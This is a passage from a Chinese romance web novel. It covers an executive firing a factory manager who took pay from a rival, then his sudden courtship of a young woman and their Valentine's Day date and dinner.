要说顾程这个人,平素里并非不苟言笑,尤其跟一线和他们这些老职工接触的时候,十分谦逊友善,没有一点上位者的架子。可此时此刻,他眉目低沉,瞬时就有一种令人倍感压迫的气场,似乎一句话说错,就会惹他勃然大怒。
“小周他们已经在车间里开始录制了,我们现在同时做老师傅们的专访。”莫少玲挂上职业化的微笑,跟顾程解释了进度,便示意摄影师选角度,“老师傅们,其实来之前顾总也专门交代过,一定要把大家的心声记录下来。所以现在,请大家畅所欲言,不要有所顾忌。”
“哎,你们看,我都跟大家说了,顾总不会不理会大家的意见。”胡厂长也适时出声,一边擦着脑门上的汗,一边朝赵老说道,“赵师傅,你是员工代表,顾总一直也都很器重您,要不,您先来?”
安祈攸淡笑一声,胡厂长讪讪看了眼顾程,可顾程压根没什么反应,搁在桌上的双手十指交握,面色虽冷,却又显得有些漫不经心。
“顾总,那我就先发言了。”赵老被点了名,看了眼顾程,沉声道,“要说这话我们不该说,因为当年如果不是您为了陈总出手,也就没有如今的华驰。可顾总,这几年不止您呕心沥血,我们每一个老华驰人,也都是兢兢业业,不遗余力地在付出。新设备新技术上线,原本对我们这些老员工来说,就很难适应,这刚适应没多久,又要把南区换成废旧轮胎再利用中心……
“顾总,您也为我们考虑考虑,我们干了一辈子了,今后一说出去,当年的技术骨干成了收破烂的,我们的尊严在哪里?更何况,这次转型几乎是一刀切,那么多工人的去处您考虑过吗?”
“是啊……”其他几个老技工也点头叹息着,张老也激动地说道,“顾总,两年前引进那么多新设备,光是学习培训,就要了我们老命了。这都快退休的人了,经不起这么折腾了。”
“那就提前退休,或者另谋高就。”顾程松开相握的十指,双臂抱怀靠在软椅上,也不管几个老技工闻言脸红脖子粗几乎泛高血压的脸色,淡淡笑道,“看来之前有很多相关决定,胡厂长都没解释清楚。既然这样,我亲自跟大家解释解释。第一,南区管理不善,厂房残旧,最适合转型为废旧胎处理中心,既是变废为宝,也是响应国家环保节能的号召,没的商量。
“第二,根据工龄,提前退休的工人都会按国家政策补偿,法务部会答复所有疑问。第三,愿意继续呆在南区工作的,带薪培训结束后,原有薪酬职级保持不变,有内部转岗需求的,根据以往考核结果优先调配。第四,家里有愿意来华驰工作的亲属,只要没有案底,高中以上学历都会优先考虑,走内推流程。第五……”
他目光清冷扫视着闻言稍显惊讶的那些老人,最终将目光落在面色青白不定的胡新华脸上,“明天起,南区由刘绍暂时接管,胡厂长今日解聘。”
“啊!怎么这么突然!”
“顾总,胡厂长犯了什么错!他一直以来也是兢兢业业……”
那些老技工因为顾程的话,原本心里就一波比一波惊讶,听到胡新华当场被解聘,登时七嘴八舌为他讨起公道来,“顾总,咱们华驰一直以来都不是一言堂,当年陈总在的时候,也……”
莫少玲也不料今日的采访如此波折,连忙示意摄影师把镜头对准了胡新华。
胡厂长面对着顾程冷冰冰的逼视,仍是不死心地低叹道,“我知道,我不善管理。可是顾总,我们南区就算没有功劳,也是有苦劳的。或许我没把您的意思传达到位,但您看看这些老师傅,这可都是当年跟陈总一个螺丝一个螺丝把厂子建起来的人啊,您……”
“他们是他们,你是你。”顾程也不跟他废话,接过安祈攸递过来的解聘书,直接从桌上滑到他面前,“两份薪酬拿有两三个月了吧?光塑也给你发年终奖了吗?老胡,我做事通常不喜欢撕破脸。好聚好散,还是让法务部找你,你自己看着办。”
光塑一直以来都是华驰最大的竞争对手,当年也正是因为他们在最后一刻抢了事关华驰生死的一单,才直接导致了如今的局面。那些老技工一听到这话,登时把目光齐齐转向了胡新华,人人都是满眼的不可置信。
胡新华的呼吸顿了下,一张脸涨成猪肝色,使劲儿咽了咽嗓子,拿过解聘书。他根本不敢再面对那些人的目光,低着头,一个字都不说。
“至于你们……”顾程深深舒了一口气,缓了语调起身道,“我念大家当年跟陈伯一起打江山,遵守了对他的承诺,对你们一直以礼相待。但我是做事业的,不是做慈善的,我也要对愿意跟着我打江山的人负责。赵老,张老,如果你们愿意继续呆在华驰,你们的经验和技术,转到咨询和培训岗位,依然能为华驰奉献,我也保证不会亏待大家。如果不愿意,好聚好散。
“待会儿安总会带你们去回顾一下当年,我到底是承受了多大压力才接过华驰的,而你们又向我承诺过什么。不忘初心这几个字,不仅我要牢记,你们也都要牢记。我还有事,小安,你随后跟电视台的车走。”
“好。”
“顾总!顾总,我们……”赵老还想再说什么,安祈攸清了下嗓子,打断了他,“顾总最近在跟远洲接触,很忙。有事您先跟我说。”
“远洲?!”
赵老他们眼眸一亮,胡新华更是惊张双目看向顾程的背影,似乎不敢相信自己的耳朵。
*
拉开车门看到乖乖坐在后座的肖瑜,顾程低沉的眉目不自禁就
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舒展了些。
他本担心这个小祖宗因为照片的事,多少会耍耍大小姐脾气,说不定会四下乱跑,惹出些事端跟他闹一闹。可她听话地安静等在这儿,带给他的是突来的轻松和安心。
就像风雨中疾行的人,忽然在街头转角发现一间温馨的小店,满腔的委屈和恼火,瞬时得到了抚慰。
肖瑜原本正在看手机,因车门突然被大力拽开,她受惊地看过去,见到顾程站在车外望着她弯了唇角,她心头一颤,大大的眼睛回视着他,有点小心,又充满疑问。
“坐前边。”顾程朝副驾歪了下头,“我开车。”
肖瑜转头看了眼后方,没有其他人的身影。她拿起手机坐到副驾,待顾程发动了车子,还是忍不住问道,“我们不等安总吗?”
“他跟别的车走。”顾程瞥了她一眼,回头望向前方的林荫大道,“公事谈完了,我们去聊一下私事。”
*
一路上都很安静,甚至安静地有点诡异。
肖瑜满腹疑问,却不知道要从哪里开口问起。她刚才在车里搜索了半天关于那方面、尤其第一次的事,可那些让人脸红心跳的内容,她完全没办法想象该如何去跟顾程确认。
顾程似乎也在思考什么,很沉默,时而还会皱一皱眉。他偶尔会看她一眼,两个人的目光相遇,肖瑜闪烁着躲开,而他则是若有所思地收回视线。
*
车子停留在泽城最大的购物中心,目之所及,全是情人节的广告和装饰。
顾程下了车,很绅士地过来为肖瑜拉开车门,示意她也下车。
他的眼神与以往很是不同,温柔得很,有点像是在看自己的女朋友,甚至,有点宠。
肖瑜被自己脑海中冒出来这番描述吓坏了,连忙伸手拍拍脸走下车,却被车外的气温冻得打了个哆嗦。
她从办公室出来的时候没穿大衣,此刻这身打扮在室外棉衣裹身的人群中,确实是太过美丽冻人了些。
顾程看一眼她转瞬被冻红的小鼻尖,撩起大衣掠过肩,直接把她裹进了怀里。空闲的左手甚至还十分自然地,把从肖瑜肩上搭下来的大衣边角拽了拽,让她被包得更暖和些。
肖瑜登时就僵在了原地,几秒之后才反应过来,连忙脸红心跳地挣扎着,拿手推他,“你别……谢谢,我不冷。”
可顾程又哪里是她轻易能推开的。他干脆握住她的手腕,右臂一个用力裹地她挣不开,低头道,“你要是冻坏了,怎么陪我过节?”
温热的气息在额前萦绕,有点暧昧又有点暖,肖瑜只觉得心跳又漏了两拍,越发挣扎着往边上躲,“你这样太奇怪了。我又不是你女朋友,我有……”
“这几天我一直在考虑。”顾程打断了她的话,他偏头望着她写满疑问的双眸,片刻后,才仿佛终于下定决心般,轻舒一口气,“我答应你了,我们试试。”
39. 第 39 章
第三十九章
肖瑜整个人都是懵的。
好半天,她才莫名其妙看向面前这自说自话的男人,连挣扎都忘了,“答应我?答应我什么?”
“做你男朋友。”
“我什么时候要你做我男朋友了?”
“喝醉的时候。”
“……”肖瑜脑仁儿疼得厉害,眉心都挤成了团,“你也说那是喝醉的时候,醉话能信吗?”
顾程笑了,“我当时也这么问你的。你还记得自己怎么说的吗?”
肖瑜无奈极了,“我怎么说也都是醉话啊。”
“你说,酒后吐真言,喝醉了说的才是真心话。”顾程挑了下眉,目不转睛看着面色尴尬的她,“吃过晚饭,我不介意陪你回忆一下。”
肖瑜想起他发过来的照片,还有她还没看过的视频。她垂眸攥了下五指,决定暂时还是不要跟他闹得太僵,“晚饭……菲菲昨天说,想吃东悦酒店的澳龙刺身……”
顾程应了声‘好’,一边裹着她迈开长腿,一边很随意地问道,“想要什么礼物?”
肖瑜很不自在地被他搂着往前走,闻言脚步顿了下,诧异地问道,“早上那些礼物,不是你送的吗?”
“早上我还不是你男朋友。”顾程瞥她一眼,摇着头笑了笑,“算了,看来你也不知道是哪个追求者。衣服?首饰?包?你喜欢什么?”
“……”说话间已经进来商场里面,暖气很足。肖瑜又伸手推了推他,待他终于敞开大衣放了她出来,她才脸红心跳地小声道,“我……我们这样很奇怪。我有点渴,我们去喝点东西,坐下来好好谈一谈好吗?”
*
西餐厅里音乐靡靡,粉色的气球在屋顶飘荡,花墙上布满热烈的爱语装饰,入眼到处都在腻在一处的情侣。
肖瑜噙着吸管看向对面的顾程。他从坐下来开始就在接电话,半垂着眼侧头看向窗外,喜怒不详。
其实顾程真的很好看,或许这也是她醉酒后色/胆包天的诱因。他的肩膀很宽,跟姜昊一样,看起来很有安全感。俊逸的五官也跟姜昊不相上下,只不过姜昊时常翘着唇角,看起来痞痞的坏坏的,而顾程平素里给人的感觉,则是温和中带着几分淡淡的疏离。
此刻他时不时‘嗯’一声,有些漫不经心,却没有丝毫不耐,有一种成熟男人在工作时,特有的魅力。
“跟法务那边再确认一下,如果没有其他问题,就按这个章程来。”顾程不经意间抬眸看了眼肖瑜,见她连忙着慌地挪开视线,他微微勾了下唇,跟手机那边说道,“我正在约会,今天没有重要的事,别再打给我。还有,晚上给我订一下东悦,三个人。”
那边应该是安祈攸,也不知道他说了什么,顾程说了句‘滚,只吃饭’,抬手就挂了电话。
而肖瑜听到那句‘在约会’,下意识又朝他看了过去。
顾程也正淡淡看着她。视线碰撞,他抬手把她嘬在嘴里的吸管抽出来,笑了笑,“对不起,接下来我们专心约会。你要说什么?说吧。”
一副公事公办的口吻,让肖瑜都不知道要怎么开口。好半天,她才红着脸问道,“我们其实,是不是,并没有……那个?”
“哪个?”顾程喝了口茶,未置可否,“这跟我答应做你男朋友有什么关系吗?”
“如果没有……”肖瑜声若细蚊,两手扭成了麻花,“你没有必要对我负责。就算有,也没有必要。我是成年人了……”她咬了下唇,努力试图把话解释清楚,“做错了事,就要承担后果。关于那些醉话,我根本都不记得了,自然也不算数的。我……没想跟你谈恋爱,我只想你把那些东西删了。”
顾程唇角的笑意淡了下去,“没想跟我谈恋爱?要不是你一遍遍哄着说你喜欢我,非得做我女朋友,我会让你碰我吗?肖瑜,你出去打听打听,我顾程是谁想亲就能亲,想抱就能抱的?一句‘不记得了’就想穿上衣服不认人?”
“可……”肖瑜被他说得难堪极了,“我第一次喝酒,所以真的不知道自己喝醉后是这个样子的。而且,而且我都没有真的对你怎么样……”
顾程摘下围巾,扬起下巴给她看,“你知道我最近顶着这堆吻痕出门,心里承受了多大压力吗?你还没对我怎么样?要不是我全力抵抗,你早把我吃干抹净了。”
肖瑜嘴角撇了撇,眼睛里有委屈的雾气,却又无言反驳,可怜巴巴地继续道歉,“对不起,可我真的不是故意的。那……”她顿了下,小小声问,“那五十万不要你还了,算作对你的补偿,好吗?”
顾程怔了一下,都气笑了,“那是菲菲欠你的,关我什么事?在你眼里,我是花个五十万就能摁在床上玩一玩的男人?”
“我没有这么想……”肖瑜是真的被他给说得想哭了,又内疚又羞愧,脸涨得通红,“我,我以后真的不会。我……”
面对他的质问,她完全不知道该怎么办,沉默了许久,才又没什么底气地嗫嚅道,“可我真的已经有男朋友了,你今天也见过的。你是有身份的人,怎么可以……做小三呢……”
“呵。”顾程闷声笑了起来,“那个男人只是你大学同学,专门被你找过来装男朋友,堵谣言的。叫……我没记错的话,陈楚?”
见肖瑜闻言目瞪口呆地看着他,他摇摇头,端起茶轻抿一口,有些不忍看她那呆呆萌萌的样子,“果然酒后吐真言。你当时逼着我做你男朋友,恨不得把心掏给我。所以,全都交代了。”
“……”肖瑜都想跟醉酒的自己给跪了。她捂住脸,好半天才又找回些思路,好声好气又跟顾程说道,“顾总,我……平时真的不会这么乱来,真的是因为第一次喝酒,才会这么失德。我保证以后也不会再对你这样的。你先把视频删了,好不好?”
“做了我女朋友,你继续对我失德也不是不可以。”顾程放下茶杯,指腹有一下没一下地摩挲着杯耳,“你是成年人,做错了事的确要承担起相应的责任。这么多年来,你是第一个把我逼上/床的女人,做我女朋友不是应该的吗?”
“……”肖瑜简直不敢相信自己的耳朵,“你,你不是谈过女朋友吗?”
“就一个,也只是名义上而已。”顾程淡淡扫她一眼,“你呢?谈过几个男朋友?除了那个耗子,还有什么人放不下?”
突然听到‘耗子’这两个字,还是从顾程口中冒出来,肖瑜愣了一下,咬住嘴巴不再说话。
那是她心底最不设防的一处柔软,无论何时想起他,都会酸酸的刺一下,钝钝地疼一下。像刻入骨髓的甜和痛,即便明知不可能有回应,也依然放不下,无法忘却。
顾程见她不再吱声,一边拿起茶壶给自己添着水,一边垂眸笑了笑,“之前对你有很多误会,不过现在基本都解除了。至于你心里那个男人,时间久了总会淡下来,没什么大不了的。我也不是个随便下决定的人,既然决定跟你试试,就一定会尽力做到你满意。怎么样,你还有什么想说的?”
肖瑜还是沉默地看着他。
他这话像是在跟她谈生意,他出了价,轮她拍板决定。可就是这番没有丝毫浪漫可言的表述,竟突然让她有些动摇。
三年多的大学时光里,她自始至终都觉得,姜昊心里是有她的,可无奈事实只是她自作多情而已。同窗享受校园恋情的时候,她时常因为他对她笑开心几天,因为他对她若即
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若离伤怀几天,又或者是看着他毫不在乎地当着她的面,跟不同的女孩子打情骂俏,去追着他给她一个名分,被他拒绝,缩在寝室里难过。
她也想有个真正的男朋友,有名有份地谈一场真正的恋爱,彼此珍视,有付出,有回应,哪怕最后的结局并不完美,已经足够。
只不过从前的她,眼里真的看不进其他人,但凡姜昊给她一点点回应,她都会忘了他带给她的所有伤害,再度冲上去被虐得头破血流。
可现在他已经走了,毫无音讯。就算她还想再撞南墙,都找不到能撞的地方。
而眼前的这个男人,她还知之甚少。可那晚如同梦境般的相处中,他带给她的感觉是温柔的,暖的,也是甜的。或许,真的可以试一试。
顾程看着她大大的眼睛里泛起雾气,到最后又一丝丝渗回去,了无痕迹。
他蹙了眉,正要开口,肖瑜却转眸看向他的手机,抿了下唇,“那……那你可以删了视频吗?”
“等你看完自己决定。”顾程松了口气,拿起手机笑了笑,“我没有特殊癖好,真的只是自我保护。”
*
离开商场之前,顾程再一次问起要什么礼物。肖瑜看向周边那一对对情侣,有些不好意思地说道,“我想要红玫瑰,我……”她顿了下,不确定地问道,“我也送你巧克力好吗?”
她没有过过真正意义上的情人节。之前都是她送给姜昊玫瑰加巧克力,情人节必备。姜昊从来没有在这一天送过她任何东西,倒是前后错开几日,会送给她一些礼物,比如那个佩奇的抱枕,还有她卧室里许多成串儿的手工小挂件。
其实他一直把界限划分得很鲜明,密友,但并非情侣。她的一厢情愿,只是时时给他困扰罢了。
顾程并没有忽略她那略有惆怅的恍神,他抬眼朝四周看了看,伸手拉起了她的手。
肖瑜下意识就往后缩了下胳膊,他低头朝她抬了下眉,“要不还是搂着你?”
“……”肖瑜咽了下嗓子,紧攥的小拳头松开,脸色红红地嗫嚅道,“还是拉手吧……”
他的掌心很暖,起初是整个包裹住她的小手,待走近不远处那家手工巧克力店时,已渐渐松弛了一些,只轻轻握住她的大半个手掌,像是在不断调整令她更觉舒适的接触。
巧克力店门口等待的人群,一眼望不到头。肖瑜踮着脚尖往前看了看,回过头来有点失望地说道,“要不还是算了,你喜欢别的什么礼物吗?我们去买不用排队的。”
“这么没有诚意?”顾程很闲适地拉着她站在队伍后方,没有丝毫不耐,“待会儿给我买黑巧克力,我不吃别的口味。”
“嗯。”肖瑜弯了眼眸,点点头,“你还有什么喜好?”
“我不喜欢闹。”顾程看着她因为好奇而晶亮亮的眼眸,心情很不错,“除了车模俱乐部的活动外,偶尔也跟好友聚一下。其他的社交,基本上都是为了工作。”
“你也喜欢车模啊!怪不得你卧室里那么大一堵车模墙。”肖瑜轻叹一声,却又因这话脸一热,赧然地挪开了视线。
顾程自然明白她突然脸红的原因,他捏了下她的手,问道,“还有谁也喜欢车模?”
肖瑜的手在他掌心轻轻挣了一下,“我哥哥……他也有一个房间专门放车模。”
见她方才还满心好奇,轻松地跟他聊着天相互了解,此刻却因为提及自己卧室的车模墙又羞得手足无措,顾程低笑一声转了话头,“不太忙的时候,我也喜欢去旅行。你呢?晚上一个人又哭又笑,都是因为写小说?”
“嗯。”肖瑜舒了口气,点点头,可跟着,却又狐疑地挤了眉,“你怎么知道?”
40. 第 40 章
第四十章
“你上次去夜店,不就是为了找灵感吗?”顾程松开手,直接拿掌心握住她的肩,待肖瑜红着脸往边儿挪了挪,他才暗暗舒了口气,拥起她往前走了两步,“你写的是什么小说?为什么还需要去那种地方找灵感?”
肖瑜咬了下嘴巴,目光闪烁地应道,“……写小说不能光靠幻想,有时候也是需要亲身体验的。体验过不同的生活方式,才能写出更加丰富和贴合实际的文章,才能让读者感同身受。”
“真会编。的确适合写小说。”顾程因她一本正经的语气又笑出了声,“你的爱好,我会尊重,不会阻止。我只是很不理解,去那种地方找灵感,写出来的会是什么样的小说。菲菲之前就是被一个写小黄文的作者给带偏了,差点闹得我妈在圈子里颜面扫地。”
“那怎么是小黄文呢!”肖瑜一听就急了,嘟着嘴瞪他,“那是为了推动剧情,专门制造的戏剧性冲突,你不懂。”
顾程握在她肩头的掌心紧了紧,他探腰低下头,眯起眼睛盯着她无处可躲的双眸,“那篇教女孩子去会所点男公关的小黄文,不会就是你写的吧?”
“我都说了不是小……黄文。”大庭广众,众目睽睽,他的鼻尖都要怼到她脸上了。肖瑜吞着口水往后缩着脖子,小小声说道,“我,我连脖子以下都没写过……”
顾程的目光从她的脸滑向脖子,继而是,脖子以下。
肖瑜连忙双手环胸。
顾程挑了下眉,直起身子深呼一口气,“我是真没想到,写小说这种爱好也有这么大风险。说说,以后还想亲身体验什么?”
“我……”队伍原本前进了一大截,肖瑜委屈巴巴地看向因为他俩驻足不前而插队过来的那些人,转过头来再看向顾程时,嘴巴嘟得都能挂酒瓶子,“我最想体验的就是有个男朋友。我想给你买巧克力……”
一肚子不满,在这软糯糯撒娇般的埋怨中,烟消云散。
顾程低笑一声,拿出手机打了个电话。不多时就有巧克力店里的工作人员拿着无线刷卡器出来,四下张望着,一溜小跑过来递上两份礼盒,“顾总,真要刷卡吗?”
“别打折。”顾程看一眼目瞪口呆的肖瑜,捏捏她的肩,“买。”
*
不仅买了一盒纯黑的,还买了一盒多口味混装坚果的。顾程说,送给你未来小姑子……
一句话就把肖瑜闹了个脸红,直到被他继续母鸡裹小鸡一样带上了车,她都感觉臊得慌。
而得知这个购物中心是顾氏产业后,再见到有人把玫瑰花束直接送来停车场,肖瑜也就见怪不怪了。
不同于早上收到那款红到发黑的花束,这捧看起来只有二三十支的玫瑰,鲜嫩娇艳,被大大的蝴蝶结和纱幔包裹起来,精致且含蓄。而顾程也拿钱出来递给了送花过来的女孩子,甚至,还十分认真地收下了找零。
肖瑜觉得满足极了,一遍又一遍抱着玫瑰深深吸气,眼角眉梢都是掩不住的笑意。
顾程偏头看了她一眼。
小姑娘此刻餍足的模样,像极了那晚哄着他得逞后,难掩激动又无比期待下一步的兴奋。他的喉结滚了一下,收回视线,“打电话给菲菲,让她收拾一下。现在过去接她。”
听顾菲那哼哼唧唧的声音,似乎还在睡觉。
肖瑜放下电话,不自禁就皱着眉头看了眼时间,叹口气。
顾程瞥她一眼,笑了笑,“她是真的被惯坏了。不让她出去跑,就成宿在家看小说,打游戏,晨昏颠倒。上次那个男人,燕北北的前男友,就是她在游戏里认识的。”
“菲菲有别的男朋友吗?”肖瑜很好奇地问道,“她那么喜欢玩,我以为她很有恋爱经验。”
“大学的时候,倒是谈过几个正经男朋友。”顾程一边开车,一边随意应道,“但她的脾气不太好,花钱也从来不过脑子,一般家庭的男人能受得了她的不多。”
“都谈过好几个了啊……”肖瑜忍不住感慨道,“别人的大学生活,都那么丰富多彩。”
“羡慕?”顾程扫了她一眼,“不以结婚为目的的谈恋爱,都是耍流氓。这话你不知道?”
肖瑜被噎了一下,好半天,才偷眼瞧着他,欲言又止。
顾程等了半天没等到回音,抽空瞅她一眼,见她咬着嘴巴,正歪了头悄咪咪打量他。他回头看向前方,“想说什么?说。”
肖瑜的手指在花捧的纱幔上抠了抠,“你谈恋爱,难道是为了结婚?”
“不然呢?”顾程又瞥她一眼,“不是为了结婚,费时间费精力培养感情做什么。”
肖瑜吃惊地睁圆了双眼,“你想跟我结婚?你都不了解我,我也不了解你。”
“所以才需要先相处试试,多了解,看看合不合适。”顾程又抽空扫她一眼,因她震惊的神色,不禁皱眉,“你这么吃惊什么意思?难道你让我做你男朋友,只是想对我耍耍流氓?”
“我不是,我没有……”肖瑜被他怼得脸都红了,她张开嘴还想再解释解释,可顾程接下来一句话,直接就抹杀了她所有的沟通欲望,“结婚前别想着睡我,不可能。”
*
晚餐的气氛有点一言难尽。
顾菲上车的时候看到副驾上的玫瑰,又接过肖瑜递来的坚果巧克力。她本以为这些东西是哥哥为了跟她赔罪,专门借肖瑜的手前来示好,所以一路上都鼻孔朝天,故意不主动去搭理顾程,等着他先开口跟自己讲话。
可顾程压根就没有跟她搭话的意思,反而到了东悦先给肖瑜拉开了车门,而且……还牵起了人家的小手!
她那时还坐在车里,看到肖瑜别扭地挣了两下,小声跟她哥说了些什么,她哥才往自己的方向看一眼,松开了手。
而来到餐厅,三个人在侍应生的引领下到了落地窗前。她径直坐进了一侧临窗的位置,肖瑜刚要跟着坐进来,顾程居然抬手就搂住人家的腰,直接给勾过去一起坐到了她的对面。
顾菲眨了眨荧光闪耀的眼皮子,先看看一脸不自在的肖瑜,又看看依旧对自己没什么好脸色的顾程,狐疑地问道,“我是没睡醒吗?为什么你们要坐一边?”
她哥什么时候出来陪她跟闺蜜吃个饭,还得挨着闺蜜坐的?就算是舒曼姐回来的时候,他们三个出来吃饭,她哥也是坐在她这边的。
“我们在约会,你本来就是个多余的。”顾程没好气地看她一眼,抽出菜单递给肖瑜,“我还不知道你喜欢什么,你点。我不挑,但是不吃辣,不喜欢太甜,也不喜欢咖喱,还有,清淡一点最好。”
“……”肖瑜因他这一连串所谓的‘不挑’都呆了,甚至忘了先去跟对面的顾菲解释情况,接过菜单一边低头看,一边嘟囔,“怎么你们两兄妹嘴巴都这么叼的……”
“约会?”顾菲嘴角抽了抽,劈手就把肖瑜的手里的菜单夺了过来,眼睛瞪得老大,“你们两个约会?今天是情人节,不是愚人节。肖瑜,你是不是……”
“菲菲。”顾程打断了她的话,看向被她扣在桌上的菜单,“你这样的行为,很不尊重肖瑜。她现在不仅是你的朋友,也是我的女朋友,很可能还会是你未来的嫂子。拿过来,道歉。”
他语气并不算严厉,甚至相比之前那几次教训顾菲,还要温和许多。可即便这样,肖瑜也还是感受到了他刻意压制的一丝脾气。
她其实并没有觉得被冒犯,尤其跟顾菲相处也有段时日,对她过于自我的脾性也算了解,心知顾菲只是把自己当朋友,才会这么随意。
可顾程又是‘女朋友’,又是‘未来嫂子’的提她,反倒让她不太好在这种情况下打圆场。他俩才刚莫名其妙成为男女朋友,一天还没到呢,她怎么可能真就以这种身份自居了。
是以肖瑜连忙朝顾菲挤眉弄眼,示意她别再跟顾程硬呛。
顾菲又哪里不了解自己的哥哥,光听他刻意放缓的语调,她就知道,顾程是真的很介意她如此失礼。
其实要在平时,这样正常的管教她还是很听顾程话的。可最近实在是被整治得很了,憋了一肚子火,一点都不想再听他的。
她都被制裁地,连吃个刺身都得靠闺蜜献身了……
想到这茬,顾菲突然觉得自己读懂了肖瑜的挤眉弄眼,她连忙把菜单递回去,一边说着‘对不起’,一边也向她挑眉挤眼,给了她一个‘我懂了’的眼神。
顾程的目光在两个隔空对话的女孩子脸上扫了扫,伸手捏了下眉心,“我去洗手。”
或许刚才下车时,肖瑜说的有点道理。菲菲一直拿她当朋友,突然的身份转换,两个小姑娘间还是先通个气比较好。
*
“你吓死我了,知道吗?”顾程前脚离开,顾菲后脚就挤到肖瑜身边,大喘气地说道,“我还以为你斯德哥尔摩了!我哥刚对你做了那种事,怎么突然就爱上他了。你是不是打算先骗骗他,把钱要过来?”
肖瑜不好意思地瞅她一眼,小声说,“其实他没有。他应该就是把套套都拆开扔了,然后……在床单上挤了点番茄酱。为了吓吓我,让我长记性。”
顾菲一双眼睛瞪得像铜铃,“你说的是我哥?他会做这么幼稚的事?”
“嗯。”肖瑜很认真地点了下头,捂着嘴在她耳边悄声说,“我上网查了,第一次就算再有经验再温柔,也会很痛的,可我真的没有。”
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>见顾菲还是一副见了鬼的惊悚样儿,她想了想,补充道,“是真的。他今天还专门跟我说……”她又有点羞羞的,红了脸,“说让我不要想着睡他,他结婚前不会的。”
“这倒是像他会说的话。”顾菲还在消化亲哥在心中判若两人的形象,闻言点了点头,“我就说……以前也不是没女人勾过他,怎么那天就突然变了个人似的,搞半天来这么一出。那你们约会怎么回事?你真喜欢上我哥了?”
肖瑜也很纠结,低着头开始双手缠麻花,“说喜欢,现在还有点早,不过也好像有点了……他很好看,人品,好像也不错。上次我……感觉也挺好的。而且,我都快大学毕业了,还没谈过男朋友,多少是有点遗憾的。所以我想,跟他谈个恋爱感受一下,应该,还行吧?”
她的语气很不确定,因为自己也不知道眼下对顾程到底什么感觉。但可以肯定的是,她并不反感跟他肢体接触。拉拉手,握握肩,就算被他裹在大衣里面,也是羞羞的,温暖又安全的感觉。
唯一让她感到不自在的,反而正是因为她都还不算了解顾程,却对跟他的亲密一点都不抗拒,甚至还有些喜欢,这实在是有点让人难为情。
顾菲听完,难得地沉默了会儿,跟着,更是罕见地,很一本正经地说道,“肖瑜,你还是再认真想想。你不觉得我哥对你的态度很奇怪吗?你有点喜欢他了,是因为你想要恋爱,碰巧他条件也挺好。可他又怎么会突然喜欢上你呢?你还记得吗?他周六,就你喝醉后那天,他还在跟别人相亲,而且过几天就是他的生日,舒曼姐……也一定会回来的。”
肖瑜愣了一下,原本满腔向往恋情的热切和娇羞,一下子就被冰水给泼了个透心凉。
*
顾程洗完手,还专门去挑了挑龙虾,为的就是让两个小姑娘有时间先聊一聊。
可就这么一会儿功夫,再过来的时候,他发现肖瑜整个人都不太对劲了。
他挨着她坐下的时候,小姑娘赶紧往里挪了挪。起初他没当回事儿,可菜肴端上来,全是他和顾菲爱吃的,肖瑜倒是不挑,每样都尝了尝,不多会儿就放下了筷子。
对面的顾菲嘴里淡了好几天,闷头只是吃菜,偶尔撩起眼皮子看顾程一眼,也是飞快地挪开目光,一副心虚的贼样儿。
顾程也放了筷子,转头问肖瑜,“你点的什么?”
“让菲菲点的。”肖瑜嘴巴嘟嘟的,没看他,就盯着冒白气的澳龙,“我都可以。”
“那怎么不吃了?”顾程瞥一眼顾菲,皱了眉,“不合口味?还是没胃口?”
“我吃饱了。”肖瑜整个人都蔫了吧唧的,全没了下午买礼物那会儿激动又兴奋的模样,不再红着脸偷偷看他,甚至连话都不想搭,“不想吃了。”
顾程没再说话,他又看一眼对面的顾菲,眯了眯眸子,回身靠向沙发。
一时餐桌上沉默下来,只有顾菲一个人还在专心用餐。可不多会儿,她也放下了筷子,低眉顺眼地说道,“我也吃饱了。哥……我叫人打包?”
她没吃饱。可对面瘟神一样的死亡凝视,让她食之无味,心惊胆战。
“好。车里等你。”顾程点了下头,去拉肖瑜的手。
可指尖刚碰到她的手背,小姑娘就跟被电打了一样,赶紧又往里挪了挪,两手背去身后,别扭得很,“我陪菲菲打包。”
顾程深吁一口气,问顾菲,“你是不是又欺负她了?”
顾菲正在招手叫服务员,听了这话差点没屈死,“我什么时候欺负她了?什么叫又?!”
肖瑜也呆了,可她刚刚抬起头,顾程已经握着肩把她提了起来,“不喜欢就重新点,心里不舒服要跟我说。”
他说话时低头看着她,语气温柔得很,像在哄又像在劝。肖瑜的脸一下子就又热了起来,也忘了要去推搡,解释道,“我没有心里不舒服,菲菲也没有欺负我。我,我就是……”她这才轻轻推了他一把,往后挪,“我只是觉得我们……”
顾程的手机突然在桌上震动起来,蜂鸣声不大,却令人无法忽视。肖瑜闭上嘴,看着屏幕上‘舒曼’两个字,刚刚又开始小鹿乱撞的心,悄悄平息下来。
“我先接个电话。”顾程看了眼屏幕,有些诧异,他也不避人,直接接起电话拥着她又坐了下来,“舒曼,怎么这个点打电话?有事吗?”
肖瑜又抬手去扯他挂在自己肩头的胳膊。
顾程蹙眉看她一眼,索性滑下掌心,圈住整条胳膊让她不再乱动,继而跟那边应道,“密码是换了。前几天菲菲跟我闹脾气,我怕她进去又搞我车模。”
他正说着,突然意识到了什么,“你回来了?”
41. 第 41 章
第四十一章
顾菲看一眼肖瑜,肖瑜也看了眼她。
顾菲又看一眼她哥搂在肖瑜胳膊上的手。肖瑜没有再挣扎,可顾程已经自己松开了钳制,一边讲电话,一边抽出菜单,朝正在打包的服务员指了指其中几道菜,“密码是八十年校庆,你先收拾一下好好休息,待会儿给你带吃的回去……米记?好。”
放下手机,他朝服务员摆摆手,又低头看了眼表,跟顾菲交代道,“舒曼回来了,刚到。你晚上回来住,等她走了再回肖瑜那儿。”
“我不去。”顾菲翻了下眼皮子,“我要陪小鱼儿,我在她那儿住得更舒服。”
顾程看一眼肖瑜,转头跟顾菲说道,“听话,明天就给你解冻一张卡。”
*
回家的路上,顾程绕了路,专门在米记粥铺带了些餐食。
跟肖瑜在后座上等待的时候,顾菲看着她哥挺拔出众的背影,叹了口气,“我哥人虽然闷了点,但对女朋友,那是真的宠到心尖上,怎么都行。你看这都分手这么多年了,还当宝一样,专门绕这么远过来。舒曼姐最喜欢米记的红豆粥了,还有锅贴饺子。”
肖瑜顺着她的目光也看了一眼,很快便收回视线,转头看向自己这边的窗外,“嗯。”
“你不会真的心里不舒服了吧?”顾菲见她应得很淡,凑近了挽住她的胳膊,劝道,“小鱼儿,你要是真的喜欢我哥,我会帮你的。我只是不希望你好不容易谈场恋爱,结果最后……”
“我明白。”肖瑜回过头,弯起唇角笑道,“我该谢谢你提醒我。可能下午就是商场里情人节氛围太浓了,我才会一时冲动。你今晚真的要上去住吗?”
